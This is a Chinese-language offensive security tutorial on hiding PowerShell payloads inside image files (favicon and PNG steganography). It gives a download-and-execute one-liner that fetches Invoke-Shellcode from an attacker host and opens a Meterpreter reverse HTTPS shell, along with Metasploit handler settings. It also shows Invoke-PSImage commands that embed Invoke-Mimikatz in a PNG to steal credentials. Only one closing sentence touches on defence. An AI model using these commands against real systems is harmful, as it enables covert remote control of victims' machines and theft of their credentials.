【基础篇】————20、隐匿攻击之Images

    xiaoxiao2025-04-18  7

    迈克尔·斯科特开发了一个python 脚本,可以生成一个图标图像,并将PowerShell命令嵌入到该图像中。第一步是将命令写入文本文件。

    echo 'IEX((new-object net.webclient).downloadstring("http://192.168.1.171/tmp/Invoke-Shellcode.ps1"));Invoke-Shellcode -payload windows/meterpreter/reverse_https -LHOST 192.168.1.171 -LPORT 443 -force' > shellcode.txt

    下一步是创建包含嵌入式有效负载的favicon,启动apache Web服务器并将图标移动到Web服务器目录。

    python create_favicon.py shellcode.txt evil.pngservice apache2 start mv evil.png /var/www/favicon.ico

    一旦命令在目标主机上执行,Metasploit模块multi / handler可用于接收连接。

    use exploit/multi/handler set payload windows/meterpreter/reverse_https set LHOST XXX.XXX.XXX.XXX set LPORT 443

    在获取-FaviconText PowerShell脚本将下载的图标到一个临时目录,这将像素转换回字符以执行有效载荷命令。

    Import-Module .\readFavicon.ps1

    Get-FaviconText -URL http://192.168.1.171/favicon.ico -WriteTo $env:TEMP

    该GET-FaviconText脚本实际上是需要对目标执行的植入物。即使未在Web目录上设置访问此文件的权限,图标内的payload命令仍将运行。

    Meterpreter会话将打开,目标可以通过Metasploit进行控制。

    但是,也可以使用其他类型的图像(如JPG),以便不仅嵌入命令而且嵌入完整的PowerShell脚本,以便执行各种其他后期利用活动。Barrett Adams开发了一个PowerShell 模块,可以使用PNG文件的像素来嵌入PowerShell脚本。该模块还将生成oneliner命令以供执行:

    Import-Module .\Invoke-PSImage.ps1

    Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\77.jpg -Out .\mimikatz.png -Web

    执行oneliner将导致通过存储在Web服务器上的PNG文件运行Mimikatz。

    或者,此脚本可以为本地托管的图像生成oneliner。

    Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\77.jpg -Out .\mimikatz2.png

    运行该命令将从PNG文件中执行Mimikatz。

    结论

    图像可用于执行shellcode和脚本以及执行其他活动。可以使用的字符数有限制,因此只有具有大量像素的图像才能携带脚本。这是一种有趣的隐藏有效负载的方法,以及在网络中禁用PowerShell时可以防止的一种威胁。

    参考

    https://github.com/et0x/C2http://rwnin.net/?p=35https://github.com/peewpw/Invoke-PSImage
    最新回复(0)